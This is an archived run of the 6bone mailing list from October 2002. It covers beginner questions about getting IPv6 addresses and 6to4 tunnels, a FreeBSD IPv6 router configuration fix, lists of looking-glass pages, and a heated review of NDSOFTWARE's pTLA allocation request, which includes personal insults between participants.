ISP. I tried to contact 2 Belgian ISP's but they don't reply. I want do get
some IPv6 addresses and than tunnel with 6to4. 
Where do I get started now?

Regs
Mark

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<TITLE>Requesting IPv6 addresses</TITLE>
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<P><FONT SIZE=3D2>Hi</FONT>
</P>

<P><FONT SIZE=3D2>I want to do some tests with IPv6, but in the manuals =
it says to contact an ISP. I tried to contact 2 Belgian ISP's but they =
don't reply. I want do get some IPv6 addresses and than tunnel with =
6to4. </FONT></P>

<P><FONT SIZE=3D2>Where do I get started now?</FONT>
</P>

<P><FONT SIZE=3D2>Regs</FONT>
<BR><FONT SIZE=3D2>Mark</FONT>
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From fink@es.net Wed Oct 16 06:25:53 2002
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Date: Wed, 16 Oct 2002 06:25:47 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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6bone Folk,

NDSOFTWARE has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 23 
October 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>

<http://noc.ndsoftwarenet.com/>


Thanks,

Bob

=====
>Hello,
>
>On behalf of NDSoftware, I would like to submit our application for a
>pTLA.
>
>Best Regards,
>
>Nicolas DEFFAYET
>
>------------------------------------------------------------------------
>
> From RFC 2772
>
>
>7. Guidelines for 6Bone pTLA sites
>
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit.
>During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>Our ipv6-site is operational since 17 january 2001 on 6bone.
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>
>http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>
>We have currently 101 BGP4+ sessions.
>
>Our ASN is AS25358:
>aut-num:      AS25358
>as-name:      NDSOFTWARE-AS
>descr:        NDSoftware IP Network
>
>We use 2 routers:
>  - parcr1.fr.ndsoftwarenet.net
>  - parcr2.fr.ndsoftwarenet.net
>Looking Glass: http://noc.ndsoftwarenet.com/lg/
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>
>We have 3 nameservers:
>  - ns1.ndsoftwarenet.com
>  - ns2.ndsoftwarenet.com
>  - ns3.ndsoftwarenet.com
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://noc.ndsoftwarenet.com/
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>
>       a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>
>NDN1-6BONE
>CB2-6BONE
>BN3-6BONE
>MM14-6BONE
>MC7-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>
>ipmaster@ndsoftwarenet.com
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information
>        in support this claim.
>
>NDSoftware operates an IPv6 network and provide a lot of IPv6 services
>to many projects.
>
>We provide to:
>
>IPv6-FR (a non profit organisation for the developement of IPv6 in France
>   200 users, each user have a /48.
>
>NexGenCollective (http://www.nexgencollective.net/)
>   150 users, each user have a /48.
>
>ATI (A tunisian ISP, http://www.ipv6net.tn/)
>
>and a lot of others (see our whois), this services: IPv6 connectivity
>(STATIC or BGP with a IPv6 block), IPv6 newsfeeds/newsread,...
>
>We do many actions in IPv6 research, we created FNIX6 (French
>International Internet Exchange IPv6, http://www.fnix6.net/), we host many 
>mirrors
>available in IPv6, we created ftp://ftp.openipv6.com/ (a FTP with a lot
>of IPv6 stuff).
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>
>
>We agree to all current and future rules and policies.
>
>----

-end


From gert@Space.Net Wed Oct 16 06:31:49 2002
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Hi,

On Wed, Oct 16, 2002 at 02:35:27PM +0200, MMESTDAG@ncsbe.jnj.com wrote:
> I want to do some tests with IPv6, but in the manuals it says to contact an
> ISP. I tried to contact 2 Belgian ISP's but they don't reply. I want do get
> some IPv6 addresses and than tunnel with 6to4. 
> Where do I get started now?

For 6to4, the IPv6 addresses are constructed from your IPv4 address,
so there's no need to go to an ISP.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Wed Oct 16 06:57:02 2002
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Date: Wed, 16 Oct 2002 14:56:47 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Requesting IPv6 addresses
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On Wed, Oct 16, 2002 at 02:35:27PM +0200, MMESTDAG@ncsbe.jnj.com wrote:
> Hi
> 
> I want to do some tests with IPv6, but in the manuals it says to contact an
> ISP. I tried to contact 2 Belgian ISP's but they don't reply. I want do get
> some IPv6 addresses and than tunnel with 6to4. 
> Where do I get started now?

Try the NGN LAB at ULB in Brussels?  (Paul van Binst's group)

Tim


From pekkas@netcore.fi Wed Oct 16 08:00:18 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6BONE List <6bone@mailman.isi.edu>, Bob Fink <fink@es.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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I support this -- there seems to be a real need for the pTLA.

As an unofficial constructive criticism...

On Wed, 16 Oct 2002, Bob Fink wrote:
> >           between the Applicant's boundary router and the appropriate
> >           connection point into the 6Bone. This router must be IPv6
> >           pingable. This criteria is judged by members of the 6Bone
> >           Operations Group at the time of the Applicant's pTLA request.
> >
> >We have currently 101 BGP4+ sessions.

.. I'd appreciate it if you decreased the amount of BGP sessions by about 
80-90%.

(Hopefully you don't intend to provide transit between those...)

Thanks!

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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Please take me off this distro.

THX,
L

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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
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</HEAD>
<BODY style=3D"COLOR: #000000; FONT-FAMILY: Arial" bgColor=3D#ffffff>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please take me off this =
distro.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>THX,</FONT></DIV>
<DIV><FONT size=3D2>L</FONT></DIV></BODY></HTML>

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From kristoff.bonne@skypro.be Wed Oct 16 12:03:36 2002
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Greetings,

On Wed, 16 Oct 2002 MMESTDAG@ncsbe.jnj.com wrote:
> I want to do some tests with IPv6, but in the manuals it says to contact an
> ISP. I tried to contact 2 Belgian ISP's but they don't reply. I want do get
> some IPv6 addresses and than tunnel with 6to4.
> Where do I get started now?
Have you tried belnet? I got my 6bone-addresses from them.

But, for 6to4 you just need to set up a 6to4 gateway and that should be
it. You don't need an ISP for this.


> Mark
Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122



From ipsopi@yahoo.com Wed Oct 16 12:10:24 2002
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From: Shashikanth Sopirala <ipsopi@yahoo.com>
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Subject: [6bone] How can I connect to a 6 BONE Tunnel
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Hello there,
I am in a University network, I want to connect a host
to the 6BONE tunnel. I want to make a host as a IPv6
host. How can I do this?
Please help.
Shashi

__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com

From rsamprat@cisco.com Wed Oct 16 12:41:23 2002
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Date: Wed, 16 Oct 2002 12:41:14 -0700 (PDT)
From: Ravi Samprathi <rsamprat@cisco.com>
To: Shashikanth Sopirala <ipsopi@yahoo.com>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] How can I connect to a 6 BONE Tunnel
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Hi
You may want to go through www.6bone.net/6bone_hookup.html.
Contact your nearest 6bone ISP, you will be assigned a
6bone prefix, configure your tunnel to 6bone using
their point-to-point v6 address,  and it should be straight
forward from there.
The other way is to hookup to your nearest 6to4 relay router,
and configure a 6to4 tunnel to them, from your v6 host.

To make a host IPv6-only, besides compiling IPv6 into the kernel,
v4 stack may still not be completely removable, you should
be fine by assigning 0.0.0.0 ipv4 addresses.
-Ravi



>>>>>>>> Go the IPv6 way >>>>>>>>

On Wed, 16 Oct 2002, Shashikanth Sopirala wrote:

> Hello there,
> I am in a University network, I want to connect a host
> to the 6BONE tunnel. I want to make a host as a IPv6
> host. How can I do this?
> Please help.
> Shashi
>
> __________________________________________________
> Do you Yahoo!?
> Faith Hill - Exclusive Performances, Videos & More
> http://faith.yahoo.com
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From michiel@thunderbird.e-concepts.be Wed Oct 16 14:45:34 2002
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To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Requesting IPv6 addresses
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On Wed, Oct 16, 2002 at 02:35:27PM +0200, MMESTDAG@ncsbe.jnj.com wrote:
> Hi
> 
> I want to do some tests with IPv6, but in the manuals it says to contact an
> ISP. I tried to contact 2 Belgian ISP's but they don't reply. I want do get
> some IPv6 addresses and than tunnel with 6to4. 
> Where do I get started now?

Chello/UPCBelgium is providing native IPv6 in belgium. 
And you can request a tunnel at wanadoo also (http://www.ipv6.wanadoo.be)
> 
> Regs
> Mark

From rvdp@rvdp.org Thu Oct 17 04:24:21 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Michiel Van Opstal <michiel@e-concepts.be>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Requesting IPv6 addresses
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On Wed, Oct 16, 2002 at 23:45:30 +0200, Michiel Van Opstal wrote:

> Chello/UPCBelgium is providing native IPv6 in belgium. 

Interesting, can you elaborate or give some pointers?

	rvdp

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On Thu, Oct 17, 2002 at 01:24:11PM +0200, Ronald van der Pol wrote:
> On Wed, Oct 16, 2002 at 23:45:30 +0200, Michiel Van Opstal wrote:
> 
> > Chello/UPCBelgium is providing native IPv6 in belgium. 
> 
> Interesting, can you elaborate or give some pointers?

They are running a router advertisement deamon so you can simply obtain an ipv6 address
and to request a /64 subnet mail ipv6@chello.com
> 
> 	rvdp

From rjorgensen@upctechnology.com Thu Oct 17 05:34:13 2002
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At 02:03 PM 10/17/2002 +0200, Michiel Van Opstal wrote:
>On Thu, Oct 17, 2002 at 01:24:11PM +0200, Ronald van der Pol wrote:
> > On Wed, Oct 16, 2002 at 23:45:30 +0200, Michiel Van Opstal wrote:
> >
> > > Chello/UPCBelgium is providing native IPv6 in belgium.
> >
> > Interesting, can you elaborate or give some pointers?
>
>They are running a router advertisement deamon so you can simply obtain an 
>ipv6 address
>and to request a /64 subnet mail ipv6@chello.com


more correct would be ipv6@aorta.net :)
and yes, UPC.BE are native IPv6, been so for several years (object TVD
@whois.6bone.net), not yet well known.

<spam>

http://www.ipv6.chello.com for more generic info about our IPv6 work
here at UPC/chello.

</spam>



---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID



From buddha73@newyork.com Thu Oct 17 06:16:51 2002
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From ferryas@cc.saga-u.ac.jp Thu Oct 17 18:40:07 2002
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To: 6bone@mailman.isi.edu
From: ferry astika saputra <ferryas@cc.saga-u.ac.jp>
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Subject: [6bone] Building FreeBSD ipv6 router problem
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I want to make some eksperiment with ipv6. I have already get my
 ipv6 address , here my ipv6 address allocation from my uplink: 
3ffe:517:30a:5800:: /64. And my topology :
		-- ---------
---------------| Router$B!!!!!!(B|--------------|
           fxp1 ------------fxp0
Uplink	    Router: FreeBSD   Client: WindowsXP(ipv6 ready)

		4.6


Firt step I try to connet my uplink, and its succed. I can ping6
 some ipv6 site like www.kame.net, www.jp.freebsd.org.
Then I modify my rc.conf :

ipv6_enable="YES"
ipv6_network_interfaces="fxp0 fxp1"
ipv6_defaultrouter="3ffe:517:30a:5800::1%fxp1"
ipv6_gateway_enable="YES"
ipv6_router_enable="YES"
ipv6_ifconfig_fxp0="3ffe:517:30a:5880::1 prefixlen 64 up"
rtadvd_enable="YES"
rtadvd_interfaces="fxp0"

With this configuration my router can advertise to downlink, but
 cannot receive router advertisement from uplink.
Somebody can help me ?

--
ferry astika saputra
ferryas@cc.saga-u.ac.jp



From itojun@itojun.org Thu Oct 17 19:28:32 2002
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Cc: 6bone@mailman.isi.edu
In-reply-to: ferryas's message of Fri, 18 Oct 2002 10:39:59 +0900.  <200210181039.ADD47128.ZGSBTFS@cc.saga-u.ac.jp> 
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Subject: Re: [6bone] Building FreeBSD ipv6 router problem 
From: itojun@iijlab.net
Date: Fri, 18 Oct 2002 11:28:29 +0900
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>I want to make some eksperiment with ipv6. I have already get my
> ipv6 address , here my ipv6 address allocation from my uplink: 
>3ffe:517:30a:5800:: /64. And my topology :
>		-- ---------
>---------------| Router$B!!!!!!(B|--------------|
>           fxp1 ------------fxp0
>Uplink	    Router: FreeBSD   Client: WindowsXP(ipv6 ready)
>
>		4.6
>
>
>Firt step I try to connet my uplink, and its succed. I can ping6
> some ipv6 site like www.kame.net, www.jp.freebsd.org.
>Then I modify my rc.conf :
>
>ipv6_enable="YES"
>ipv6_network_interfaces="fxp0 fxp1"
>ipv6_defaultrouter="3ffe:517:30a:5800::1%fxp1"
>ipv6_gateway_enable="YES"
>ipv6_router_enable="YES"
>ipv6_ifconfig_fxp0="3ffe:517:30a:5880::1 prefixlen 64 up"
>rtadvd_enable="YES"
>rtadvd_interfaces="fxp0"
>
>With this configuration my router can advertise to downlink, but
> cannot receive router advertisement from uplink.
>Somebody can help me ?

	i see three problems:
	(1) global address cannot have scope identifier, so ipv6_defaultrouter
	    setting is wrong.
	(2) ipv6_defaultrouter setting specifies offlink address (not on the
	    same subnet).  it has to be on the same link as the node itself
	(3) routes should have link-local address as gateway, to make icmp6
	    redirect work.  you'd better run some routing protocol than to
	    specify ipv6_defaultrouter.

itojun

From pekkas@netcore.fi Sat Oct 19 04:36:41 2002
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Date: Sat, 19 Oct 2002 14:36:32 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
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Subject: [6bone] A looking glass/traceroute page
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Hello,

Failing to find good pages on collected looking glass/traceroute pointers
for v6, I did some quick browsing and collected some at:

http://staff.csc.fi/psavola/lg.html

Please send updates/modifications/etc directly.  In particular, I failed
to find the pages (if they exist) for the major v6 services providers..

HTH.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Sat Oct 19 04:42:44 2002
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Date: Sat, 19 Oct 2002 14:42:36 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
cc: v6ops@ops.ietf.org
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On Sat, 19 Oct 2002, Pekka Savola wrote:
> Failing to find good pages on collected looking glass/traceroute pointers
> for v6, I did some quick browsing and collected some at:
> 
> http://staff.csc.fi/psavola/lg.html
> 
> Please send updates/modifications/etc directly.  In particular, I failed
> to find the pages (if they exist) for the major v6 services providers..

To clarify, because the mailing list removed the reply-to I set, do not 
send any updates etc. on the list(s) but directly.

Thanks.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From nicolas.deffayet@ndsoftware.net Sat Oct 19 07:12:30 2002
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Subject: Re: [6bone] A looking glass/traceroute page
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: pekkas@netcore.fi
Cc: 6bone@ISI.EDU, v6ops@ops.ietf.org
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On Sat, 2002-10-19 at 13:36, Pekka Savola wrote:
Hello,

> Failing to find good pages on collected looking glass/traceroute pointers
> for v6, I did some quick browsing and collected some at:

http://www.traceroute6.org/, but jv don't update this site...
 
> http://staff.csc.fi/psavola/lg.html

http://noc.ndsoftwarenet.com/docs/ipv6-tools-links.php

> Please send updates/modifications/etc directly.  In particular, I failed
> to find the pages (if they exist) for the major v6 services providers..

http://www.dot-god.com/resources/IPV6.html

Best Regards,

Nicolas DEFFAYET


From pekkas@netcore.fi Sat Oct 19 07:18:44 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@ISI.EDU, <v6ops@ops.ietf.org>
Subject: Re: [6bone] A looking glass/traceroute page
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On 19 Oct 2002, Nicolas DEFFAYET wrote:
> On Sat, 2002-10-19 at 13:36, Pekka Savola wrote:
> Hello,
> 
> > Failing to find good pages on collected looking glass/traceroute pointers
> > for v6, I did some quick browsing and collected some at:
> 
> http://www.traceroute6.org/, but jv don't update this site...

Didn't know of this..
  
> > http://staff.csc.fi/psavola/lg.html
> 
> http://noc.ndsoftwarenet.com/docs/ipv6-tools-links.php

Didn't know of this either... :-)
 
If you add some sane groupings, I don't want to update my list anymore, as 
traceroute6 + you should be sufficient; no use having too many competing 
pages, best to have only one or two.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jv@pilsedu.cz Sat Oct 19 08:23:39 2002
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On Sat, Oct 19, 2002 at 04:13:23PM +0200, Nicolas DEFFAYET wrote:
> On Sat, 2002-10-19 at 13:36, Pekka Savola wrote:
> Hello,
> 
> > Failing to find good pages on collected looking glass/traceroute pointers
> > for v6, I did some quick browsing and collected some at:
> 
> http://www.traceroute6.org/, but jv don't update this site...

I *do* update www.traceroute6.org page. I wanted to publish this list on 6bone 
ml very soon. I always welcome submissions to the list.

Best regards
	Jakub Vlasek

From dragon@tdoi.org Sat Oct 19 09:02:33 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
To: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@mailman.isi.edu>
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HOWTO get a "real" ASN and a pTLA
----------------------------------------

1. Get a "real" Autonomous System Number
1.1 Setup ZEBRA on two root servers, build some fake ISP and name it NDSOFTWARE
1.2 get some pTLA/sTLA sites who accept your private AS and peer with them
1.3 whining and begging at pTLA/sTLA site which normally don't accept private
    peerings, until they peer with you
1.4 peering with other private AS's and assign them some adress space of your
    three /32, which you begged from other 6bone backbone sites
1.5 repeat 1.3 and 1.4 until you have 101 peerings
1.6 spam to 6bone-ml, don't forget to write your name in uppercase
1.7 make new friends like Pim B. van Pelt
    http://mailman.isi.edu/pipermail/6bone/2002-May/005470.html
    http://mailman.isi.edu/pipermail/6bone/2002-May/005498.html
1.8 more spam to 6bone-ml, don't forget to write your name in uppercase
1.9 create a IPv6 only Internet Exchange Point
1.10 whining and begging at your local LIR until they send your request for
     a ASN to RIR
1.11 RIR doesn't accept your ASN request
1.12 spam, whining and begging at 6bone-ml
1.13 finally you got your ASN

2. Get a pTLA
2.1 request a pTLA
2.2 your request is accepted, and review period begins
2.3 ok, now you can send some bad emails to your peering partners
    like this one:

    PS: don't forget to write your name uppercase!!!

------------

Hello,

You receive this email because you have a BGP peering with NDSoftware.

We change our peering policy.

We will shutdown your BGP peering the 23 October 2002 because you don't
respect our new peering policy with your private ASN.

Best Regards,

Nicolas DEFFAYET

------------

oh! what a coincidence "We will shutdown your BGP peering the 23 October 2002"
and "pTLA request NDSOFTWARE - review closes 23 October 2002"

PS: great policy http://noc.ndsoftwarenet.com/docs/peering-policy.php

2.4 you finally got your pTLA
2.5 you think private ASN sucks and remove all, peerings with private ASN


   the annoyed german ipv6 community

-------------------------

ok now my personal opinion:

I don't support the pTLA request of NDSOFTWARE because:

<quote>Nicolas is an inmensly irritating clueless kiddie</quote>

I think he is just a kiddie who wants to impress other 6bone / ipv6 users.
I think his company NDSOFTWARE is no real ISP
I also think the other four persons in his request are fake or they don't know
what IPv6 is. (I have never seen or heared of anyone expect Nicolas)


Christian "_DrAGON_" Nickel
TDOI Network | dragon@tdoi.org | www.tdoi.org


From paitken@cisco.com Sat Oct 19 10:03:47 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Bob,

>>       d. A fully maintained, and reliable, IPv6-accessible system
>>           providing, at a mimimum, one or more web pages, describing the
>>           Applicant's IPv6 services. This server must be IPv6 pingable.

>> http://noc.ndsoftwarenet.com/

Over IPv4, "This site is under contruction." [sic]

While this may be very precisely "describing the Applicant's IPv6 
services", I feel that it fails to meet the spirit of the requirement.

Worse, over IPv6, only the default Apache screen is displayed. So while 
the system may be IPv6 reachable, it can hardly be deemed accessible.

>>       b. A common mailbox for support contact purposes that all support
>>           staff have acess to, pointed to with a notify attribute in the
>>           ipv6-site object for the pTLA Applicant.
>>
>> ipmaster@ndsoftwarenet.com

This entry is not "pointed to with a notify attribute in the ipv6-site 
object for the pTLA Applicant".


Therefore, at this time I DO NOT "find their request fully compliant 
with RFC2772".

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From jeroen@unfix.org Sat Oct 19 10:14:59 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
Date: Sat, 19 Oct 2002 19:14:47 +0200
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> NDSOFTWARE has requested a pTLA allocation and I find their request
fully 
> compliant with RFC2772. The open review period for this will close 23 
> October 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>
> 
> <http://noc.ndsoftwarenet.com/>

I got a couple of questions about this request:

- Where/what is he going to use this pTLA for if it gets assigned?
(his "ISP" can't use it for _commercial_ purposes as 6bone is for
expermenting)

- What/Where is he currently using his _3_ /32's for?

- What is his planned numberplan?

- What is his planned/current backbone?
(This has to do with the fact that he is probably going to do transit
over it and
that will destabilize the 6bone even more...)

- What is going to happen with the other _3_ /32's he already has?

- Can't he get some IPv6 space from his upstreams?

Greets,
 Jeroen

Notez bien that _3_ /32's he _already_ has, is more than any RIR
currently has!


From nicolas.deffayet@ndsoftware.net Sat Oct 19 10:15:10 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Sat, 2002-10-19 at 18:02, Christian Nickel wrote:

> Hello,
> 
> You receive this email because you have a BGP peering with NDSoftware.
> 
> We change our peering policy.
> 
> We will shutdown your BGP peering the 23 October 2002 because you don't
> respect our new peering policy with your private ASN.
> 
> Best Regards,
> 
> Nicolas DEFFAYET

Why we close peering with private ASN the 23 October 2002:

We have 101 BGP4+ peer, our current routers are full (zebra is very
unstable if i add new peer) and we want get new peer with other
pTLA/sTLA that we can't get with our old private ASN.

We have choose to delete all peers with private ASN for free BGP session
on our routers for this new peers.

> oh! what a coincidence "We will shutdown your BGP peering the 23 October 2002"
> and "pTLA request NDSOFTWARE - review closes 23 October 2002"
>
> 2.4 you finally got your pTLA
> 2.5 you think private ASN sucks and remove all, peerings with private ASN

We don't delete peers with private ASN because "private ASN sucks", we
keep peering with important private ASN like NextGenCollective or
IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
understand their status, it's why i keep peering with them.

TDOI don't provide a lot of tunnels (more than 50) to users, it's for
that reason that we shutdown your peering.


Where i send you your certificate of the best troll of 6bone
mailing-list ?


Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Sat Oct 19 10:32:58 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Paul Aitken <paitken@cisco.com>
Cc: Bob Fink <fink@es.net>, 6bone@mailman.isi.edu
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On Sat, 2002-10-19 at 19:03, Paul Aitken wrote:

> >>       d. A fully maintained, and reliable, IPv6-accessible system
> >>           providing, at a mimimum, one or more web pages, describing the
> >>           Applicant's IPv6 services. This server must be IPv6 pingable.
> 
> >> http://noc.ndsoftwarenet.com/
> 
> Over IPv4, "This site is under contruction." [sic]

Where ?
I don't see under construction...

> 
> While this may be very precisely "describing the Applicant's IPv6 
> services", I feel that it fails to meet the spirit of the requirement.
> 
> Worse, over IPv6, only the default Apache screen is displayed. So while 
> the system may be IPv6 reachable, it can hardly be deemed accessible.

Over IPv6 it's work fine, i can send you the log of access with IPv6
address since 05/Sep/2002.

3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:28 +0200] "GET
/tools/traceroute6.php HTTP/1.1" 200 10974 "http://www.traceroute6.org/"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:30 +0200] "GET
/interface.css HTTP/1.1" 200 1341
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:31 +0200] "GET
/img/wi/top_logo.gif HTTP/1.1" 200 2998
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:31 +0200] "GET
/img/wi/pixel.gif HTTP/1.1" 200 43
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:31 +0200] "GET
/img/wi/pixel-999999.gif HTTP/1.1" 200 49
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:31 +0200] "GET
/img/wi/arrow-u.gif HTTP/1.1" 200 54
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:32 +0200] "GET
/img/wi/arrow-r.gif HTTP/1.1" 200 55
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"
3ffe:c15:c000:c:203:47ff:feb6:6a8b - - [19/Oct/2002:16:31:41 +0200] "GET
/tools/traceroute6.php?host=ipv6-lab-gw.cisco.com HTTP/1.1" 200 11182
"http://noc.ndsoftwarenet.com/tools/traceroute6.php" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.0.1) Gecko/20020918"

u1000000@wks1:~$ whois 3ffe:c15:c000:c:203:47ff:feb6:6a8b

% RIPEdb(3.0.0b2) with ISI RPSL extensions

inet6num:     3FFE:C00::/24
netname:      CISCO
....


> >>       b. A common mailbox for support contact purposes that all support
> >>           staff have acess to, pointed to with a notify attribute in the
> >>           ipv6-site object for the pTLA Applicant.
> >>
> >> ipmaster@ndsoftwarenet.com
> 
> This entry is not "pointed to with a notify attribute in the ipv6-site 
> object for the pTLA Applicant".

Yes, we use notify@ndsoftwarenet.com on notify attribute for have a
better management.

remarks:      -----------------------------------------------------
remarks:      Network problems: noc@ndsoftwarenet.com
remarks:      Peering requests: peering@ndsoftwarenet.com
remarks:      Abuse notifications: abuse@ndsoftwarenet.com
remarks:      -----------------------------------------------------

I think that this remarks in our ipv6-site object is enough for contact
us.


Best Regards,

Nicolas DEFFAYET



From rmk@arm.linux.org.uk Sat Oct 19 10:43:35 2002
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From: Russell King <rmk@arm.linux.org.uk>
To: Paul Aitken <paitken@cisco.com>
Cc: Bob Fink <fink@es.net>, nicolas.deffayet@ndsoftware.net,
   6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, Oct 19, 2002 at 06:03:31PM +0100, Paul Aitken wrote:
> >>       d. A fully maintained, and reliable, IPv6-accessible system
> >>           providing, at a mimimum, one or more web pages, describing the
> >>           Applicant's IPv6 services. This server must be IPv6 pingable.
> 
